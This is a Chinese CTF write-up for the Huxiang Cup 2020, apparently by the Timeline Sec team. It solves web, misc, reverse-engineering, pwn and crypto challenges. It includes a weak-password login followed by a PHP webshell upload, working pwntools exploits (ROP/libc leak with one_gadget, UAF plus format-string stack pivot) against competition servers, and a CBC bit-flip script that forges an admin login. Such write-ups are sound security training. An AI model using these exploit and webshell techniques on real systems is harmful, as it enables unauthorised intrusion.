湖湘杯2020 部分WriteUp

  • A+
所属分类:逆向工程
湖湘杯2020 部分WriteUp


湖湘杯

Web

题目名字不重要反正题挺简单的
题目要求提交 file 参数,第一个判断判断提交内容是否为phpinfo ,提交访问之,可以在phpinfo发现flag

相关代码:
http://47.111.104.169:56701/?file=phpinfo

FLAG截图

湖湘杯2020 部分WriteUp

NewWebsite

目录扫描发现后台登陆,弱口令admin/admin成功登陆
然后利用脚本提取所有的
标签

湖湘杯2020 部分WriteUp

都访问一下,发现存在文件上传
http://47.111.96.55:55000/admin/?r=manageinfo

湖湘杯2020 部分WriteUp

上传路径是http://47.111.96.55:55000/upload/
http://47.111.96.55:55000/upload/watermark/里面
看到60441526361804.php3,访问之发现是phpinfo
所以这里文件上传是不是可以传php3

湖湘杯2020 部分WriteUp

构造一句话木马上传后访问
http://47.111.96.55:55000/upload/touxiang/34381604230032.php3

湖湘杯2020 部分WriteUp

相关代码
import requestsfrom bs4 import BeautifulSoup as bscookies = { 'PHPSESSID' : '707sli2m52o442fjhtn1pv0m24', 'user' : 'admin'}url_login = 'http://47.111.96.55:55000/admin/?r=index's = requests.session()r = s.get(url_login, cookies=cookies)html = r.textsoup = bs(html,"html.parser")items = soup.find_all('a')for i in items: print(i.get('href'))

FLAG截图

湖湘杯2020 部分WriteUp

Misc


颜文字之谜
wireshark提取所有HTTP,在index-demo.html发现一堆base64内容,考虑base64隐写

湖湘杯2020 部分WriteUp

隐写结果为key:"lorrie"

湖湘杯2020 部分WriteUp

然后snow隐写,密码为 lorrie

湖湘杯2020 部分WriteUp

得到
flag{→→←←←←←←←← →→→→←←←←←← →→←←←←←← ←←←←←←→→→→ ←←←←←←→→→→ ←← ←←←←←←→→→→ →→→→→→→→←← →→←←←←←_← ←
←←←←←←←←← ←←→→→→→→→→ →→→→→→→→→→ ←←←←←←←←←← ←←←←→→←← →→←←←←←← ←←←←←←←←→→ ←←→→ ←←←←→→→→→→ →_
→→→→→→→←← ←←←←←←←←←← ←←←←←←→→→→ ←←→→ →→→→→→→→→→ →→←←→→←← ←← →→→→←←←←←← →→→→→→→→←← →→←←→→←←
←←←←←←→→→→ ←←←←←←→→→→ →→→→←←←←←← →→→→→→←←←←}

将→→替换为-,将←←替换为.,得到

-.... --... -... ...-- ...-- . ...-- ----. -... ..... .---- ----- ..... ..-. -... ....- .- ..--- ----. ..... ...-- .- ----- -.-. . --... ----. -.-. ...-- ...-- --... ---..

再进行摩斯解密,提交小写内容即可,结果67b33e39b5105fb4a2953a0ce79c3378

相关代码
# -*- coding: utf-8 -*-b64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'with open('2.txt', 'rb') as f: bin_str = '' for line in f.readlines(): stegb64 = ''.join(line.split()) rowb64 = ''.join(stegb64.decode('base64').encode('base64').split()) offset = abs(b64chars.index(stegb64.replace('=','')[-1])-b64chars.index(rowb64.replace('=','')[-1])) equalnum = stegb64.count('=') #no equalnum no offset if equalnum: bin_str += bin(offset)[2:].zfill(equalnum * 2) print ''.join([chr(int(bin_str[i:i + 8], 2)) for i in xrange(0, len(bin_str), 8)])

FLAG截图

湖湘杯2020 部分WriteUp

湖湘杯2020 部分WriteUp

passwd
volatility 一把梭:

湖湘杯2020 部分WriteUp

湖湘杯2020 部分WriteUp

湖湘杯2020 部分WriteUp

查找CTF的密码明文:

湖湘杯2020 部分WriteUp

FLAG截图

湖湘杯2020 部分WriteUp

★虚实之间

用mignwen副本进行明文攻击,获得压缩包密码:123%asd!O,得到flag.txt:

湖湘杯2020 部分WriteUp

很明显的栅栏密码

湖湘杯2020 部分WriteUp

FLAG截图

湖湘杯2020 部分WriteUp

Reverse

easyZ

拿到附件,里面包含了一个ELF文件,以及其segment区段信息,还有反汇编的代码,不过不同的是架构是ELF-64 S390x 架构,这个架构是IBM z Architecture,IDA无法反编译,在网上搜索资料,找到了一篇文章
https://gange666.github.io/2019/09/09/Bytectf_2019_s390_Writeup/

照着思路,可以定位到关键代码,再根据s390指令集的,一一撸出汇编逻辑

湖湘杯2020 部分WriteUp

反汇编界面

湖湘杯2020 部分WriteUp

根据rodata段的字符串常量找到main函数

湖湘杯2020 部分WriteUp

检查长度是否32位

湖湘杯2020 部分WriteUp

输入字符0-9,a-f之间

湖湘杯2020 部分WriteUp

对输入进行逻辑运算

湖湘杯2020 部分WriteUp

常量对比

相关代码
a=[0x0000b2b0,0x00006e72,0x00006061,0x0000565d,0x0000942d,0x0000ac79,0x0000391c,0x0000643d,0x0000ec3f,0x0000bd10,0x0000c43e,0x00007a65,0x0000184b,0x0000ef5b,0x00005a06,0x0000a8c0,0x0000f64b,0x0000c774,0x000002ff,0x00008e57,0x0000aed9,0x0000d8a9,0x0000230c,0x000074e8,0x0000c2a6,0x000088b3,0x0000af2a,0x00009ea7,0x0000ce8a,0x00005924,0x0000d276,0x000056d4]b=[0x000077d7,0x0000990e,0x0000b585,0x00004bcd,0x00005277,0x00001afc,0x00008c8a,0x0000cdb5,0x00006e26,0x00004c22,0x0000673f,0x0000daff,0x00000fac,0x000086c7,0x0000e048,0x0000c483,0x000085d3,0x00002204,0x0000c2ee,0x0000e07f,0x00000caf,0x0000bf76,0x000063fe,0x0000bffb,0x00004b09,0x0000e5b3,0x00008bda,0x000096df,0x0000866d,0x00001719,0x00006bcf,0x0000adcc]c=[0x00000f2b,0x000051ce,0x00001549,0x000020c1,0x00003a8d,0x000005f5,0x00005403,0x00001125,0x00009161,0x0000e2a5,0x00005196,0x0000d8d2,0x0000d644,0x0000ee86,0x00003896,0x00002e71,0x0000a6f1,0x0000dfcf,0x00003ece,0x00007d49,0x0000c24d,0x0000237e,0x00009352,0x00007a97,0x00007bfa,0x0000cbaa,0x000010dc,0x00003bd9,0x00007d7b,0x00003b88,0x0000b0d0,0x0000e8bc]data=[0x08a73233,0x116db0f6,0x0e654937,0x03c374a7,0x16bc8ed9,0x0846b755,0x08949f47,0x04a13c27,0x0976cf0a,0x07461189,0x1e1a5c12,0x11e64d96,0x03cf09b3,0x093cb610,0x0d41ea64,0x07648050,0x092039bf,0x08e7f1f7,0x004d871f,0x1680f823,0x06f3c3eb,0x2205134d,0x015c6a7c,0x11c67ed0,0x0817b32e,0x06bd9b92,0x08806b0c,0x06aaa515,0x205b9f76,0x0de963e9,0x2194e8e2,0x047593bc]
flag=''for j in range(32): for i in range(97,103): if (i*i*a[j]+b[j]*i+c[j])==data[j]: flag+=chr(i) print(j) for k in range(48,58): if (k*k*a[j]+b[j]*k+c[j])==data[j]: flag+=chr(k) print(j) print(flag)

FLAG截图

湖湘杯2020 部分WriteUp

easyre

IDA打开,搜索字符串找到主逻辑main函数

湖湘杯2020 部分WriteUp

但是可以从反编译代码可以看到,这仅仅对输入长度进行了判断,看下反汇编代码

湖湘杯2020 部分WriteUp

加了一段push,那么后面retn返回地址肯定发生了变化,OD动态跟下,可以发现,会返回到0x4048da这个地址,顺着理清逻辑,如下图

湖湘杯2020 部分WriteUp

湖湘杯2020 部分WriteUp

湖湘杯2020 部分WriteUp

湖湘杯2020 部分WriteUp

最后解密字符串,输出congratulations

湖湘杯2020 部分WriteUp

上面这段代码就是把我们输入的24个字符进行了移位操作,24个字节,192位统一左移3位,然后和常量进行对比,成功解密字符串输出congratulations,提示flag是md5(your input)

相关代码
#a列表经过了异或a=[43, 9, 171, 203, 147, 42, 249, 139, 154, 249, 169, 130, 251, 43, 9, 171, 202, 251, 161, 130, 251, 201, 131, 171]
flag=''
flag+=chr(((a[-1]&3)<<5)|((a[0]&0xf8)>>3))
for i in range(len(a)-1): print(((a[i]&3)<<5)|((a[i+1]&0xf8)>>3)) flag+=chr((((a[i]&3)<<5)|((a[i+1]&0xf8)>>3)))
print(flag)

FLAG截图

湖湘杯2020 部分WriteUp

md5:18295EB198C57AA68728814FBC740A71

ReMe
用IDA打开发现有很多Pyinstall之类的字符,可知是用Pyinstaller打包的python程序,直接使用github上的Pyinstxtractor项目解包,得到Pyc文件

湖湘杯2020 部分WriteUp

接下来就是用uncompyle6 进行Pyc文件的反编译了,但这之前要修复下Pyc的头部

湖湘杯2020 部分WriteUp

反编译得到Reme.py文件,主要逻辑如下:

湖湘杯2020 部分WriteUp

大概意思就是把输入经过fun函数处理之后,用md5散列下,和已知的md5对比,如果相等那么就是flag了,那么在源文件的基础上,稍作修改,就可达到爆破的效果

相关代码
import sys, hashlibcheck = [ 'e5438e78ec1de10a2693f9cffb930d23', '08e8e8855af8ea652df54845d21b9d67', 'a905095f0d801abd5865d649a646b397', 'bac8510b0902185146c838cdf8ead8e0', 'f26f009a6dc171e0ca7a4a770fecd326', 'cffd0b9d37e7187483dc8dd19f4a8fa8', '4cb467175ab6763a9867b9ed694a2780', '8e50684ac9ef90dfdc6b2e75f2e23741', 'cffd0b9d37e7187483dc8dd19f4a8fa8', 'fd311e9877c3db59027597352999e91f', '49733de19d912d4ad559736b1ae418a7', '7fb523b42413495cc4e610456d1f1c84', '8e50684ac9ef90dfdc6b2e75f2e23741', 'acb465dc618e6754de2193bf0410aafe', 'bc52c927138231e29e0b05419e741902', '515b7eceeb8f22b53575afec4123e878', '451660d67c64da6de6fadc66079e1d8a', '8e50684ac9ef90dfdc6b2e75f2e23741', 'fe86104ce1853cb140b7ec0412d93837', 'acb465dc618e6754de2193bf0410aafe', 'c2bab7ea31577b955e2c2cac680fb2f4', '8e50684ac9ef90dfdc6b2e75f2e23741', 'f077b3a47c09b44d7077877a5aff3699', '620741f57e7fafe43216d6aa51666f1d', '9e3b206e50925792c3234036de6a25ab', '49733de19d912d4ad559736b1ae418a7', '874992ac91866ce1430687aa9f7121fc']def func(num): result = [] while num != 1: num = num * 3 + 1 if num % 2 else num // 2 result.append(num) return resultif __name__ == '__main__': #print('Your input is not the FLAG!') flag='' for j in range(27): for ch in range(0x20,0x7f): ret_list = func(ch) s = '' for idx in range(len(ret_list)): s += str(ret_list[idx]) s += str(ret_list[(len(ret_list) - idx - 1)])
md5 = hashlib.md5() md5.update(s.encode('utf-8')) if md5.hexdigest() == check[j]: #print(chr(ch)) flag+=chr(ch) print(flag) md5 = hashlib.md5() md5.update(flag.encode('utf-8')) print('You win!') print('flag{' + md5.hexdigest() + '}')

FLAG截图

湖湘杯2020 部分WriteUp

easy_c++
简单的C++逆向,IDA打开后,定位主函数,稍作浏览可以发现,逻辑非常简单,就是把输入和下标进行异或,然后和已知常量字符串做对比,那么只要异或回去就可以拿到flag

湖湘杯2020 部分WriteUp

相关代码
a='7d21e<e3<:3;9;ji t r#w"$*{*+*$|,'flag=''for i in range(len(a)): flag+=chr(ord(a[i])^i)print(flag)

FLAG截图

湖湘杯2020 部分WriteUp

PWN
pwn_printf
存在栈溢出漏洞

湖湘杯2020 部分WriteUp

题目比较复杂,只能输入16次数字,确保*v13小于等于0x32就能进入后门

泄露libc后直接onegadget一把梭了

相关代码
#coding:utf-8from pwn import *import randomcontext.log_level = 'debug'debug = 0elf = ELF('pwn_printf')sh = remote('47.111.104.169',57106)sh.recvuntil('interestingn')for i in range(16): sh.sendline(str(0x20))sh.send('a'*8+p64(0x401213)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x401213)+p64(0x20)+p64(0x4007C6))libc_base = u64(sh.recv(6).ljust(8,'x00')) - 0x6f6a0sh.sendline('a'*8+p64(libc_base+0xf0364))sh.interactive()

FLAG截图

湖湘杯2020 部分WriteUp

blend_pwn
漏洞点
-uaf (del的函数)
-fmt (show name 的函数)
-后门函数存在栈溢出

思路
先用fmt泄漏出来栈地址 libc地址备用,然后发现只能申请2次的chunk,已经不能进行fastbin attack,只能泄漏一下heap地址,重点研究下后门函数

unsigned __int64 backdoor(){_QWORD *v0; // raxchar v2; // [rsp+10h] [rbp-20h]unsigned __int64 v3; // [rsp+28h] [rbp-8h]

v3 = __readfsqword(0x28u);printf("Please input what you want:");if ( (signed int)read_diy(&v2, 0x28) > 0x10 ){v0 = (_QWORD *)_cxa_allocate_exception(8LL, 0x28LL);v0 = "You are too young!";_cxa_throw(v0, &`typeinfo for'char const, 0LL);}return __readfsqword(0x28u) ^ v3;}

发现了存在8字节的栈溢出,可以溢出到rbp,但是此时已经破坏了canary

去百度后发现_cxa_allocate_exception的妙用,覆盖好rbp后,其可以完成过canary的检测且可以配合上层函数的leave ret ,完成一个栈迁移的效果

参考链接:
https://www.anquanke.com/post/id/89855#h3-8

所以就覆盖rbp为heap的地址,在上面存好one gadget 地址,ret 上去即可

EXP:
#!/usr/bin/env python#encoding: utf-8

from pwn import *import timelocal_file = './pwn'elf = ELF(local_file)context.log_level = 'debug'debug = 0if debug:io = process(local_file)libc = elf.libcelse:io = remote('47.111.104.169',55804)libc = elf.libc#libc = ELF('.')context.arch = elf.archcontext.terminal = ['tmux','neww']#,''splitw','-h's = lambda data :io.send(data)sa = lambda delim,data :io.sendafter(delim, data)sl = lambda data :io.sendline(data)sla = lambda delim,data :io.sendlineafter(delim, data)r = lambda numb=4096 :io.recv(numb)ru = lambda delims, drop=True :io.recvuntil(delims, drop)uu32 = lambda data :u32(data.ljust(4, ''))uu64 = lambda data :u64(data.ljust(8, ''))info_addr = lambda tag, addr :io.info(tag + '==>' +': {:#x}'.format(addr))itr = lambda :io.interactive()def debug():# gdb.attach(proc.pidof(io)[0],gdbscript='b main')gdb.attach(io)pause()

def add(data):sla('>','2')sla(':',str(data))

def free(idx):sla('>','3')sla('dex>',str(idx))

def show():sla('>','4')# sla('dex>',str(idx))

sla('name','%p%p')sla('>','1')ru('0x')stackbase = int(r(12),16)info_addr('stackbase',stackbase)ru('0x')libcbase = int(r(12),16) - 0x3c6780info_addr('libcbase',libcbase)one = libcbase + 0x45226add(p64(0) + p64(one)*6)add(p64(0) + p64(one)*6)free(0)free(1)show()

debug()

ru('2:')heap = uu64(r(6))info_addr('heap',heap)sla('>','666')

ret = 0x66c458+ libcbase

payload = '1' 0x10 + p64(0) 2 + p64(heap+0x90)sa(':',str(payload))itr()

Crypto

LFSXOR
主要解决以下几个问题:
确定 flag 前随机字符的个数
选择 L4 这个四阶LFSR,其最大周期为 2^4 - 1 = 15,爆破其初始状态
flag 前 7 个字符是确定的,因此可以确定 key 的 7 个字符,使爆破 key 成为可能

其实最后发现跟 LFSR 的初始状态无关。

相关代码
from pylfsr import LFSRimport itertoolsimport redef xor(a, b): return str(chr(a ^ b)).encode('l1')def encode(content, key): tmp = b'' for i in range(len(content)): tmp += xor(content[i], key[i % len(key)]) return tmpdef attack(start_index): key_char = [] key_index = [] for i in range(7): char = xor(enc1[i + start_index], flag[i]) key_char.append(char[0]) index = (i + start_index) % 15 key_index.append(index) for x in itertools.product([1, 0], repeat=4): # print(x) L4 = LFSR(fpoly=[4, 3], initstate=list(x)) data = L4.runFullCycle() k4 = '' for _ in range(len(data)): a = '' for _ in range(8): a += str(L4.next()) k4 += chr(int(a, 2)) is_match = True for char in key_char: if chr(char) not in k4: is_match = False break if is_match: print(f'match: {start_index}') else: return k4 = [ord(k) for k in k4] k4 = list(set(k4) - set(key_char)) for y in itertools.permutations(k4, len(k4)): key = (''.join([chr(_) for _ in y])).encode('l1') key = key[:5] + (''.join([chr(_) for _ in key_char])).encode('l1') + key[5: 8] content = encode(enc1, key)[770:].decode('l1') if re.match(r'DASCTF{[0-9a-f]{32}}', content): print(content) exit()enc1 = b'xbbxd3x08x15xc6:x08xb2xb2x9fxe4pxc7xecx7fxfd)xf6fx9cxe4xd12xaeJx81xb1x88xabxa5Vxa9x88x14xdf`~xf6xdbJxb4x06S!0xbbxe4x1axe6Rx8ex84Xx19Kx95x07Cxe8xb2'xa9x80x15xecx8fx8dYnKx85x99xb7!x134xa9xb6x15xcf&rx9bxe1x99xe4]3h~xf0xa9xa5x14xee}xd19lx14hx07v *a0x12x14xfex0fx05xdemx1dxe4s2Jx7fxc28xf6RRx8exbaxb2mx18Mxf1xef!4x17xa8xb4x14xc2x8fxb9Y:Kxaax06T!x1bxbbxfdxf6Gvx8ex9axebxd9Kxbbx06Nx9ax82cxa9xa0x14xed!x04xdbmx13xe5w3Bx7fxd0xa9xbfxb7x9cxe3xd00x83Kx86xab3x7fxc1xbbxfdx11x15xdfx8ex80Yx07xd8xe5]2mxe9xbbxce`x91ox8fx8cY!x81xe4Jx92x8cxa7Tx16Ex15xf1WMY(xb8[x8e2y~xcbMx10x15xc7x1fWYx0cKx87xcexe5 !bxa8x83x14xec6xd1!xc8x905xe52Lxf1xbaxcfnx9dx9dxe7uxadmx06xe4n2rxd8xbaxedxf6x7fx9dxd8xd02mx12Gx07Yx89x7fxc0xa8xa4x15xe5x043Yx1eJxaex07nx94x87xbbxcf_x8dx9dxd1x14Y,x9exe5bxd7x8cx7fxf7xa8x8fx14xc7x8fxb3xb6xf1x93xe4Oxddxc4xdbxbaxf6!x15xfd.xd1x18xcfxf6x03xea2Ex7fxe1xa9xa5xfex9dxc9xd1;xd9xeex05x06zxc8xb2xbbxe2xf7{JW4xcdmx1axe5Ux8d x0f&x14x7fxf6x9dxd4Exbfxc3xdbxe4Lxe1xf7x90xbbxdaZxf4x9dxd13xb8m3xe2D3o~xf8Hxf6U*x07lYx03Kxabx07~xa3x87xbbxc9xf7sAQx08Y6Jx86x07Yxecxf7xbbxc6sx15xc6x7fEYx02Jx95x07Z x11xbbxc6Tx15xfc-xd0x06xe6x9f-x07^ x15xbbxcczx14xf3x8fx97xd4l9tx85xe8x8axbexbbxf9xf6fx9dxf2xd19xa2Kxb6xcdxcfxf6~xd5xa9xaax15xd8x8exb3x81m9xe4fxb2!x1exbaxd8sxfdx11x08Wxa1l;x01x07_!x11xbbxddxf6xx9dxf0x17Yx15xfex02xc7xa0!.Wxa9xa5x8fx9cxe8xd1x12mx04xe5s3Q~xddxa9xa3x15xdbx8fxacxafxecxbbx10xde2_xbaxbaxe8xf6f.x1exd1x17lx06xe4Uxddxf0xd6~x0fAx14xcbx8exb0Yx1fJxb2xe4xb3!"xbaxfeUx14xedYxd0>l-~x06P 1xbbxf2xf6waDxd1(mx12`[email protected]~xfaxa9xb1xb0x9dxfbx18xfbm&xe4v2wxcexbaxcboxd5x07x11QX<Jxbdxb22Ox7fxd8x>xc8x9cxd3xd03x9dxb5x1exd72Sxf2ryxf1Wx9cxc89YrKx8fxffx8axe0xb5{xa9xaexb1x9dxddxd1=xbeKxa3x06e!x08xbaxd2xf6jx9cxf6xd0x0fl#xe5oxf5xaa~xc2xa9x99x15xea6xd1:xe7xa8xe4nxbb nVxa9x91x14xf9}xd0!m/xe5|2ox81xbaxf8rx14xebtRxc9xecxdd`xbfxc6x81xdfKXWxb3o.%xa9xcdxb9x14xfdx97x83x8eOnx03xb6iuuxabx9dxbcx15xf4xc3xd6xc1'flag = b'DASCTF{'print(len(enc1))for start in range(512, len(enc1)): attack(start)

FLAG截图

湖湘杯2020 部分WriteUp

古典美++
在线解密工具
https://www.guballa.de/vigenere-solver
题目又说古典,直接break即可

湖湘杯2020 部分WriteUp

得到结果orderby

湖湘杯2020 部分WriteUp

再将orderby转为大写字母并转为MD5提交,结果c82bbc1ac4ab644c0aa81980ed2eb25b

FLAG截图

湖湘杯2020 部分WriteUp

简单的密码3
先登录用户名 Admin,得到 name:Admin 的加密结果,再字节翻转使用户名解密结果变为 admin

相关代码
p1 = ord('A')p2 = ord('a')iv1 = '25b11314900d41f9823dde37f3c1f548'.decode('hex')c1 = ord(iv1[5]) ^ p1iv2 = c1 ^ p2iv2 = iv1[:5] + chr(iv2) + iv1[6: 16]print iv2.encode('hex')

FLAG截图

湖湘杯2020 部分WriteUp

我们欢迎每一个对技术充满热情的同学
如果你和我们一样,想做出点成绩
这里给你无限的空间,任你翱翔
进组方式,简历投递邮箱[email protected]


湖湘杯2020 部分WriteUp

湖湘杯2020 部分WriteUp
欢迎真正热爱技术的你!
Timeline Sec 团队
安全路上,与你并肩前行





本文始发于微信公众号(Timeline Sec):湖湘杯2020 部分WriteUp

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: